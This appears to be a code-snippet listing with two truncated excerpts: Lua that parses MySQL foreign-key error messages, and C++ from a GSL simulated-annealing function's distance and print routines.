s:gsub('`', '') end local function errno_fk(self, err, op) local tbl, col, fk_tbl, fk_col = err.message:match"%((.-), CONSTRAINT .- FOREIGN KEY %((.-)%) REFERENCES (.-) %((.-)%)" if tbl:find'%.`#sql-' then --internal constraint from `alter table add foreign key` errors. return err end err.table = denam...
Lua
std::sqrt(d2); } else // avoid doing a sqrt for 1 dim return std::abs( x[0] - y[0] ); } void GSLSimAnFunc::Print() { // print the position x in standard std::ostream // GSL prints also niter- ntrials - temperature and then the energy and energy min value (from 1.10) std::cout << "\tx...
C++